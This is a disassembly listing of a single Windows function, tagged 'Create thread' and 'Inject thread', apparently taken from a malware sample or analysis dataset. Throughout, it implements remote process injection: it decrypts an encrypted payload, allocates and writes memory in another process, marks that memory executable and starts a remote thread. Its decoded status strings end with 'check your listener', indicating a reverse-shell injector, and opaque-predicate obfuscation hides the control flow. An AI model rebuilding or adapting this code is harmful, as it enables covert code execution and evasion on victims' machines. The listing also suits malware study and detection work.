Function at 0x140002260
Capabilities:
Create thread
Inject thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov eax, 0x8b47d8ae
cmp eax, 0xc11eca44
je 0x140002e69
mov eax, 0xd7e135d7
cmp eax, 0x3229525e
setne al
mov ecx, 0x5367e111
cmp ecx, 0x885bd3c1
je 0x140002e69
test al, 1
jne 0x1400022b2
jmp 0x140002ae3
mov eax, 0x1b0
call fcn.14000f800
sub rsp, rax
mov r8, rsp
mov qword [rbp - 0x18], r8
sub rsp, 0x20
lea rcx, str.4b3a584f772f753f2a6046342b78652b5738542b707e2f232c304c2c6f443050336c437e5d5634434b6a39613a2d72587e2d4f696a2c5f7e4c623542535f684d4f2b29357937215d253c3c4c27245c796c7837272d574b2a4b2f525e332c2d664128615041335d333731496f4b6d2f33274f7e252d3235575d5358535d69332a3c4c345a374d38794923233c50604b2e705020285a7d483d34424d2c6c40462d7a3a6276465242207c5e2b6e4d4f267639742631795d663644202b284c603a776d5d686934774f4e564f414c226c6554305774774b727a4321605c3177722b6f656b467426237b29526d6672634121403462254d3c4c2f6631274a2b3e315c4f54774563666f3e4a29205d555078723421533c7a493364524c3570514331486d5874224c3c412a5375536a292c2d4036764b5446395a404f6c7b2358735f66225454785767412f4262402b596a5135595757455a47333d72654f5c524a2e743b43433a72367234494c7e22435e284a5a5b3e5f3d3f5b3b765e707e4a754d4f4c2c567e316c7b3a216e566b7a696e32633e6e3e41212f255770442e7e7940645d4a654f7674
lea rdx, str.7af33cc4361ffe7f26eb362086eec8bdfab30c3bfb2d1322f6bb1e546e9ebb22136d9d4f9417994293eb01265f59222d8aac376d18433c3f3989b43a5b3b0c3f2a5ecbbe0b13208343b730026eaf2e656da6bc33a356911b827c000f5b4d5f1f00402d392341357f58502d3b18e4f1ccf5ccba2977626731e73f3401355a01045824432905126c8699a0e72cdb346f2a182550493b1bc95110402c4d0434275f0e52352507011670f599d4bc7c9440cda9750fed2d0e99e6c7e43b1997e0f97306860ce2206b273a172e202aa300415651361c1828191f2b76331d6223fbd33f9ab91145ef71297be06b3433320070bfe4f37acef85c1ebdb1e44e40e552d75b481f2000120e58c945045e34381b1d5a4f076bfd84ccb63a8c9db95a2559593169afa28f3e2779da97397a7b79aaafc9a6c890520881c08c6810f83af84b7a4a27151936e62d0b4003212b59023e563c243f313f17415531172a3d06c3db21c49113b75a5e11592d2d18a12f7a2b2bd3ba0f8dbed34bb29509272918277c8f0ced9676613e2968733c0439283b3c03a33a426ec8c17c750522161fbe3910360f1b37b0a374
call fcn.1400032b0
add rsp, 0x20
mov eax, 0x10
call fcn.14000f800
sub rsp, rax
mov r8, rsp
mov qword [rbp - 0x10], r8
sub rsp, 0x20
lea rcx, str.32475b297a585572552a6f50
lea rdx, str.7c282f4c0a39315c30520a50
call fcn.1400032b0
add rsp, 0x20
mov eax, 0x30
call fcn.14000f800
sub rsp, rax
mov r8, rsp
sub rsp, 0x20
lea rcx, str.77725f37633b7d5b416d74222c25274e2859402d31585d7e4956325d4e405d702a763122763c
lea rdx, str.2c370d652c69207b0202014e480549215c792f4f45393410693e53332a2c38507153557f7c3c
mov qword [rbp - 0x20], r8
call fcn.1400032b0
add rsp, 0x20
mov eax, 0x20
call fcn.14000f800
sub rsp, rax
mov r8, rsp
sub rsp, 0x20
lea rcx, str.524c5a53455258565257494d4d4a4d4a484c4653504153525a
lea rdx, str.5b2b5d205879622047454c20616f202573642061682025750a00
mov qword [rbp - 8], r8
call fcn.1400033b0
add rsp, 0x20
mov eax, 0x30
call fcn.14000f800
sub rsp, rax
mov r8, rsp
sub rsp, 0x20
lea rcx, str.52494e4d4844575a41545355475144524e4a4645534c494c42494e414143484851444b534c50525a525354494a4e
lea rdx, str.5b4d454456555d2043686d666a20716667206670647a6b6c756d2072656f76617520777778646978205b256c5d0a00
mov qword [rbp - 0x50], r8
call fcn.1400033b0
add rsp, 0x20
mov eax, 0x30
call fcn.14000f800
sub rsp, rax
mov rdx, rsp
sub rsp, 0x20
lea rcx, str.5b2b5d205375636365737366756c6c7920616c6c6f6361746564206d656d6f72792061742025700a00
mov qword [rbp - 0x40], rdx
call fcn.140003030
add rsp, 0x20
mov eax, 0x30
call fcn.14000f800
sub rsp, rax
mov rdx, rsp
sub rsp, 0x20
lea rcx, str.5b4552524f525d20436f756c64206e6f7420777269746520746f2072656d6f7465206d656d6f7279205b25645d0a00
mov qword [rbp - 0x58], rdx
call fcn.140003030
add rsp, 0x20
mov eax, 0x30
call fcn.14000f800
sub rsp, rax
mov rdx, rsp
sub rsp, 0x20
lea rcx, str.5b2b5d205375636365737366756c6c79207772697474656e207061796c6f616420746f206d656d6f72790a00
mov qword [rbp - 0x60], rdx
call fcn.140003030
add rsp, 0x20
mov eax, 0x40
call fcn.14000f800
sub rsp, rax
mov r8, rsp
sub rsp, 0x20
lea rcx, str.21537633766a4f2b2c625c4e4c257e503d5c624d4e703676572c49683d6e7e633b6d285a4731687b4e5475402b636d606c485c5575
lea rdx, str.7a1624613938120b6f0d29222805103f497c01252f1e51137758210d1d031b0e541f517a3743070f2b370129440d4d3b492c015f75
mov qword [rbp - 0x68], r8
call fcn.1400032b0
add rsp, 0x20
mov eax, 0x50
call fcn.14000f800
sub rsp, rax
mov rdx, rsp
sub rsp, 0x20
lea rcx, str.5b2b5d205375636365737366756c6c79206368616e67656420746865206d656d6f72792070726f74656374696f6e2073657474696e677320746f20504147455f455845435554455f524541440a00
mov qword [rbp - 0x48], rdx
call fcn.140003030
add rsp, 0x20
mov eax, 0x30
call fcn.14000f800
sub rsp, rax
mov r8, rsp
sub rsp, 0x20
lea rcx, str.484f54464e4e4d5258544259494153564f4e544e4a44464b575955574d504453514345545353544d55
lea rdx, str.5b534b5742455d205a68766a6c20666a682076656e64796f206c797320696b6a756368205b25775d0a00
mov qword [rbp - 0x78], r8
call fcn.1400033b0
add rsp, 0x20
mov eax, 0x40
call fcn.14000f800
sub rsp, rax
mov rdx, rsp
sub rsp, 0x20
lea rcx, str.5b2b5d205375636365737366756c6c7920637265617465642061207468726561642c20636865636b20796f7572206c697374656e6572210a00
mov qword [rbp - 0x30], rdx
call fcn.140003030
add rsp, 0x20
mov eax, 0x10
call fcn.14000f800
sub rsp, rax
mov r15, rsp
mov eax, 0x1b0
call fcn.14000f800
sub rsp, rax
mov r14, rsp
mov eax, 0x10
call fcn.14000f800
sub rsp, rax
mov r12, rsp
mov eax, 0x10
call fcn.14000f800
sub rsp, rax
mov rdi, rsp
mov eax, 0x10
call fcn.14000f800
sub rsp, rax
mov r13, rsp
mov eax, 0x10
call fcn.14000f800
sub rsp, rax
mov rbx, rsp
mov eax, 0x10
call fcn.14000f800
sub rsp, rax
mov qword [rbp], rsp
mov eax, 0x10
call fcn.14000f800
sub rsp, rax
mov rsi, rsp
mov dword [r15], 0
sub rsp, 0x20
mov rcx, r14
mov rdx, qword [rbp - 0x18]
mov r8d, 0x1a5
call fcn.1400311c0
add rsp, 0x20
mov qword [r12], 0
mov dword [rdi], 0
mov rax, qword [rbp - 0x10]
mov qword [r13], rax
mov dword [rbx], 0
mov rcx, qword [r13]
sub rsp, 0x20
mov rdx, r12
mov r8, rdi
call section..text
add rsp, 0x20
cmp eax, 0
sete al
mov ecx, 0x8e914dc7
cmp ecx, 0x7feb2f20
je 0x140002ae3
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x70], rsi
test al, 1
jne 0x1400025c1
jmp 0x1400025e8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp - 0x20]
mov edx, eax
call fcn.140002f60
add rsp, 0x20
mov rsi, r15
mov dword [rsi], 0x63
jmp 0x140002962
mov eax, 0x99a52dba
cmp eax, 0x6468ca51
mov rsi, r15
mov r15, qword [rbp]
mov r14, r12
je 0x140002975
mov eax, 0xb205b463
cmp eax, 0xa59dcb5
mov r12, qword [rbp - 8]
je 0x140002e6e
mov r8d, dword [rdi]
mov rdx, qword [r13]
sub rsp, 0x20
mov rcx, r12
call fcn.140002f60
add rsp, 0x20
mov rcx, qword [r14]
sub rsp, 0x30
xor edx, edx
mov r8d, 0x1a5
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x30
mov qword [r15], rax
cmp qword [r15], 0
sete al
mov ecx, 0x7932184d
cmp ecx, 0xdd9726fa
setne cl
mov edx, 0x71382e4e
cmp edx, 0x4d3f047f
je 0x140002e6e
test cl, 1
jne 0x140002687
jmp 0x140002975
mov ecx, 0xa2b2a547
cmp ecx, 0xdc816b51
je 0x140002d7a
mov ecx, 0x113297eb
cmp ecx, 0xb606c032
je 0x140002d7a
test al, 1
mov rbx, qword [rbp - 0x48]
mov r13, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x40]
mov rdi, qword [rbp - 0x28]
jne 0x1400026bf
jmp 0x1400026e3
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp - 0x50]
mov edx, eax
call fcn.140002f60
add rsp, 0x20
mov dword [rsi], 0x64
jmp 0x140002962
mov rdx, qword [r15]
sub rsp, 0x20
call fcn.140002f60
add rsp, 0x20
mov rdx, qword [r15]
mov rcx, qword [r14]
sub rsp, 0x30
mov r8, rdi
mov r9d, 0x1a5
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add rsp, 0x30
cmp eax, 0
jne 0x140002765
mov eax, 0xf62232f6
cmp eax, 0x68ece47c
mov rdi, qword [rbp - 0x58]
je 0x140002eb4
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov edx, eax
call fcn.140002f60
add rsp, 0x20
mov dword [rsi], 0x65
mov eax, 0x29520c75
cmp eax, 0x156475e7
je 0x140002eb4
jmp 0x140002962
mov eax, 0xd3cf1362
cmp eax, 0xe655c5a8
mov r12, qword [rbp - 0x60]
mov rdi, qword [rbp - 0x38]
je 0x140002d7f
sub rsp, 0x20
mov rcx, r12
call fcn.140002f60
add rsp, 0x20
mov rdx, qword [r15]
mov rcx, qword [r14]
sub rsp, 0x30
mov r8d, 0x1a5
mov r9d, 0x20
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
add rsp, 0x30
cmp eax, 0
sete al
mov ecx, 0x4113d559
cmp ecx, 0x4b652a49
je 0x140002d7f
mov ecx, 0x737d3573
cmp ecx, 0x3f428974
mov r15, qword [rbp - 0x78]
mov r12, qword [rbp - 0x68]
je 0x140002ed7
mov ecx, 0x672be9dc
cmp ecx, 0x9a6ee83a
je 0x140002ed7
test al, 1
jne 0x1400027f9
jmp 0x14000281c
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, r12
mov edx, eax
call fcn.140002f60
add rsp, 0x20
mov dword [rsi], 0x66
jmp 0x140002962
mov eax, 0x3e8710f9
cmp eax, 0xfeb0379f
je 0x140002a26
sub rsp, 0x20
mov rcx, rbx
call fcn.140002f60
add rsp, 0x20
mov rax, qword [rbp]
mov r9, qword [rax]
mov rcx, qword [r14]
xor eax, eax
sub rsp, 0x40
xor edx, edx
mov r8d, 0x1a5
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x40
mov qword [r13], rax
cmp qword [r13], 0
sete al
mov ecx, 0xc3200838
cmp ecx, 0x27ac5530
je 0x140002a26
test al, 1
jne 0x14000289b
jmp 0x1400028be
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, r15
mov edx, eax
call fcn.140002f60
add rsp, 0x20
mov dword [rsi], 0x66
jmp 0x140002962
mov eax, 0xb94ba0b0
cmp eax, 0xd4aa75d2
je 0x140002edc
mov eax, 0xe4021905
cmp eax, 0x690a32f4
setne al
mov ecx, 0x9388baa3
cmp ecx, 0x6791b908
je 0x140002edc
test al, 1
mov rdi, qword [rbp - 0x30]
jne 0x1400028f9
jmp 0x140002db9
mov eax, 0x579b0d82
cmp eax, 0x5bc946e4
je 0x140002ee1
sub rsp, 0x20
mov rcx, rdi
call fcn.140002f60
add rsp, 0x20
mov eax, 0x4524455f
cmp eax, 0x3c0582f8
setne al
mov ecx, 0xcc9ac289
cmp ecx, 0x1b2e6db3
je 0x140002ee1
test al, 1
jne 0x140002940
jmp 0x140002db9
mov eax, 0x3ed20bfb
cmp eax, 0xb3635ead
je 0x140002ef6
mov eax, 0xc2f2e1fb
cmp eax, 0x6f9658a2
je 0x140002ef6
jmp 0x140002962
mov eax, dword [rsi]
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, 0x4532e0c6
cmp eax, 0xd1927fad
je 0x140002efb
mov eax, 0x8d8b099d
cmp eax, 0x80eec326
setne al
mov ecx, 0x44d4dc82
cmp ecx, 0x3e7c12c1
je 0x140002efb
test al, 1
mov r12, qword [rbp - 8]
jne 0x1400029b0
jmp 0x140002dce
mov r8d, dword [rdi]
mov rdx, qword [r13]
sub rsp, 0x20
mov rcx, r12
call fcn.140002f60
add rsp, 0x20
mov rcx, qword [r14]
sub rsp, 0x30
xor edx, edx
mov r8d, 0x1a5
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x30
mov qword [r15], rax
mov eax, 0x7d4dab3b
cmp eax, 0x8ebfbc0c
je 0x140002dce
mov eax, 0x126c1bd7
cmp eax, 0x26eaf87d
je 0x140002f00
mov eax, 0x7ca54f8d
cmp eax, 0x5a4b68a5
je 0x140002f00
jmp 0x140002602
mov eax, 0xf5f525c2
cmp eax, 0x7a96e457
je 0x140002e14
mov eax, 0xcb1c0ec5
cmp eax, 0x5751903a
mov r12, qword [rbp]
je 0x140002f05
sub rsp, 0x20
mov rcx, rbx
call fcn.140002f60
add rsp, 0x20
mov r9, qword [r12]
mov rcx, qword [r14]
xor eax, eax
sub rsp, 0x40
xor edx, edx
mov r8d, 0x1a5
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x40
mov qword [r13], rax
mov eax, 0x18d7c272
cmp eax, 0xcddd732c
setne al
mov ecx, 0x170d28d0
cmp ecx, 0x7240eee3
je 0x140002f05
test al, 1
jne 0x140002abe
jmp 0x140002e14
mov eax, 0xfb85b1f2
cmp eax, 0xe756b452
je 0x140002f57
mov eax, 0xf11b8158
cmp eax, 0x32b3f7a8
je 0x140002f57
jmp 0x14000282c
mov eax, 0x1b0
call fcn.14000f800
sub rsp, rax
mov rsi, rsp
sub rsp, 0x20
lea rcx, str.4b3a584f772f753f2a6046342b78652b5738542b707e2f232c304c2c6f443050336c437e5d5634434b6a39613a2d72587e2d4f696a2c5f7e4c623542535f684d4f2b29357937215d253c3c4c27245c796c7837272d574b2a4b2f525e332c2d664128615041335d333731496f4b6d2f33274f7e252d3235575d5358535d69332a3c4c345a374d38794923233c50604b2e705020285a7d483d34424d2c6c40462d7a3a6276465242207c5e2b6e4d4f267639742631795d663644202b284c603a776d5d686934774f4e564f414c226c6554305774774b727a4321605c3177722b6f656b467426237b29526d6672634121403462254d3c4c2f6631274a2b3e315c4f54774563666f3e4a29205d555078723421533c7a493364524c3570514331486d5874224c3c412a5375536a292c2d4036764b5446395a404f6c7b2358735f66225454785767412f4262402b596a5135595757455a47333d72654f5c524a2e743b43433a72367234494c7e22435e284a5a5b3e5f3d3f5b3b765e707e4a754d4f4c2c567e316c7b3a216e566b7a696e32633e6e3e41212f255770442e7e7940645d4a654f7674
lea rdx, str.7af33cc4361ffe7f26eb362086eec8bdfab30c3bfb2d1322f6bb1e546e9ebb22136d9d4f9417994293eb01265f59222d8aac376d18433c3f3989b43a5b3b0c3f2a5ecbbe0b13208343b730026eaf2e656da6bc33a356911b827c000f5b4d5f1f00402d392341357f58502d3b18e4f1ccf5ccba2977626731e73f3401355a01045824432905126c8699a0e72cdb346f2a182550493b1bc95110402c4d0434275f0e52352507011670f599d4bc7c9440cda9750fed2d0e99e6c7e43b1997e0f97306860ce2206b273a172e202aa300415651361c1828191f2b76331d6223fbd33f9ab91145ef71297be06b3433320070bfe4f37acef85c1ebdb1e44e40e552d75b481f2000120e58c945045e34381b1d5a4f076bfd84ccb63a8c9db95a2559593169afa28f3e2779da97397a7b79aaafc9a6c890520881c08c6810f83af84b7a4a27151936e62d0b4003212b59023e563c243f313f17415531172a3d06c3db21c49113b75a5e11592d2d18a12f7a2b2bd3ba0f8dbed34bb29509272918277c8f0ced9676613e2968733c0439283b3c03a33a426ec8c17c750522161fbe3910360f1b37b0a374
mov r8, rsi
call fcn.1400032b0
add rsp, 0x20
mov eax, 0x10
call fcn.14000f800
sub rsp, rax
mov rdi, rsp
sub rsp, 0x20
lea rcx, str.32475b297a585572552a6f50
lea rdx, str.7c282f4c0a39315c30520a50
mov r8, rdi
call fcn.1400032b0
add rsp, 0x20
mov eax, 0x30
call fcn.14000f800
sub rsp, rax
mov r8, rsp
sub rsp, 0x20
lea rcx, str.77725f37633b7d5b416d74222c25274e2859402d31585d7e4956325d4e405d702a763122763c
lea rdx, str.2c370d652c69207b0202014e480549215c792f4f45393410693e53332a2c38507153557f7c3c
call fcn.1400032b0
add rsp, 0x20
mov eax, 0x20
call fcn.14000f800
sub rsp, rax
mov r8, rsp
sub rsp, 0x20
lea rcx, str.524c5a53455258565257494d4d4a4d4a484c4653504153525a
lea rdx, str.5b2b5d205879622047454c20616f202573642061682025750a00
call fcn.1400033b0
add rsp, 0x20
mov eax, 0x30
call fcn.14000f800
sub rsp, rax
mov r8, rsp
sub rsp, 0x20
lea rcx, str.52494e4d4844575a41545355475144524e4a4645534c494c42494e414143484851444b534c50525a525354494a4e
lea rdx, str.5b4d454456555d2043686d666a20716667206670647a6b6c756d2072656f76617520777778646978205b256c5d0a00
call fcn.1400033b0
add rsp, 0x20
mov eax, 0x30
call fcn.14000f800
sub rsp, rax
mov rdx, rsp
sub rsp, 0x20
lea rcx, str.5b2b5d205375636365737366756c6c7920616c6c6f6361746564206d656d6f72792061742025700a00
call fcn.140003030
add rsp, 0x20
mov eax, 0x30
call fcn.14000f800
sub rsp, rax
mov rdx, rsp
sub rsp, 0x20
lea rcx, str.5b4552524f525d20436f756c64206e6f7420777269746520746f2072656d6f7465206d656d6f7279205b25645d0a00
call fcn.140003030
add rsp, 0x20
mov eax, 0x30
call fcn.14000f800
sub rsp, rax
mov rdx, rsp
sub rsp, 0x20
lea rcx, str.5b2b5d205375636365737366756c6c79207772697474656e207061796c6f616420746f206d656d6f72790a00
call fcn.140003030
add rsp, 0x20
mov eax, 0x40
call fcn.14000f800
sub rsp, rax
mov r8, rsp
sub rsp, 0x20
lea rcx, str.21537633766a4f2b2c625c4e4c257e503d5c624d4e703676572c49683d6e7e633b6d285a4731687b4e5475402b636d606c485c5575
lea rdx, str.7a1624613938120b6f0d29222805103f497c01252f1e51137758210d1d031b0e541f517a3743070f2b370129440d4d3b492c015f75
call fcn.1400032b0
add rsp, 0x20
mov eax, 0x50
call fcn.14000f800
sub rsp, rax
mov rdx, rsp
sub rsp, 0x20
lea rcx, str.5b2b5d205375636365737366756c6c79206368616e67656420746865206d656d6f72792070726f74656374696f6e2073657474696e677320746f20504147455f455845435554455f524541440a00
call fcn.140003030
add rsp, 0x20
mov eax, 0x30
call fcn.14000f800
sub rsp, rax
mov r8, rsp
sub rsp, 0x20
lea rcx, str.484f54464e4e4d5258544259494153564f4e544e4a44464b575955574d504453514345545353544d55
lea rdx, str.5b534b5742455d205a68766a6c20666a682076656e64796f206c797320696b6a756368205b25775d0a00
call fcn.1400033b0
add rsp, 0x20
mov eax, 0x40
call fcn.14000f800
sub rsp, rax
mov rdx, rsp
sub rsp, 0x20
lea rcx, str.5b2b5d205375636365737366756c6c7920637265617465642061207468726561642c20636865636b20796f7572206c697374656e6572210a00
call fcn.140003030
add rsp, 0x20
mov eax, 0x10
call fcn.14000f800
sub rsp, rax
mov rdx, rsp
mov eax, 0x1b0
call fcn.14000f800
sub rsp, rax
mov rcx, rsp
mov eax, 0x10
call fcn.14000f800
sub rsp, rax
mov rbx, rsp
mov eax, 0x10
call fcn.14000f800
sub rsp, rax
mov r14, rsp
mov eax, 0x10
call fcn.14000f800
sub rsp, rax
mov r15, rsp
mov eax, 0x10
call fcn.14000f800
sub rsp, rax
mov r12, rsp
mov dword [rdx], 0
sub rsp, 0x20
mov rdx, rsi
mov r8d, 0x1a5
call fcn.1400311c0
add rsp, 0x20
mov qword [rbx], 0
mov dword [r14], 0
mov qword [r15], rdi
mov dword [r12], 0
mov rcx, qword [r15]
sub rsp, 0x20
mov rdx, rbx
mov r8, r14
call section..text
add rsp, 0x20
jmp 0x1400022b2
jmp 0x140002698
sub rsp, 0x20
mov rcx, r12
call fcn.140002f60
add rsp, 0x20
mov rdx, qword [r15]
mov rcx, qword [r14]
sub rsp, 0x30
mov r8d, 0x1a5
mov r9d, 0x20
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
add rsp, 0x30
jmp 0x14000277d
sub rsp, 0x20
mov rcx, rdi
call fcn.140002f60
add rsp, 0x20
jmp 0x1400028f9
mov r8d, dword [rdi]
mov rdx, qword [r13]
sub rsp, 0x20
mov rcx, r12
call fcn.140002f60
add rsp, 0x20
mov rcx, qword [r14]
sub rsp, 0x30
xor edx, edx
mov r8d, 0x1a5
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x30
mov qword [r15], rax
jmp 0x1400029b0
sub rsp, 0x20
mov rcx, rbx
call fcn.140002f60
add rsp, 0x20
mov rax, qword [rbp]
mov r9, qword [rax]
mov rcx, qword [r14]
xor eax, eax
sub rsp, 0x40
xor edx, edx
mov r8d, 0x1a5
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x40
mov qword [r13], rax
jmp 0x140002a36
jmp 0x14000228b
mov r8d, dword [rdi]
mov rdx, qword [r13]
sub rsp, 0x20
mov rcx, r12
call fcn.140002f60
add rsp, 0x20
mov rcx, qword [r14]
sub rsp, 0x30
xor edx, edx
mov r8d, 0x1a5
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x30
mov qword [r15], rax
jmp 0x140002616
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov edx, eax
call fcn.140002f60
add rsp, 0x20
mov dword [rsi], 0x65
jmp 0x140002732
jmp 0x1400027e2
jmp 0x1400028ce
sub rsp, 0x20
mov rcx, rdi
call fcn.140002f60
add rsp, 0x20
jmp 0x140002909
jmp 0x140002950
jmp 0x140002985
jmp 0x140002a11
sub rsp, 0x20
mov rcx, rbx
call fcn.140002f60
add rsp, 0x20
mov r9, qword [r12]
mov rcx, qword [r14]
xor eax, eax
sub rsp, 0x40
xor edx, edx
mov r8d, 0x1a5
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x40
mov qword [r13], rax
jmp 0x140002a4a
jmp 0x140002ace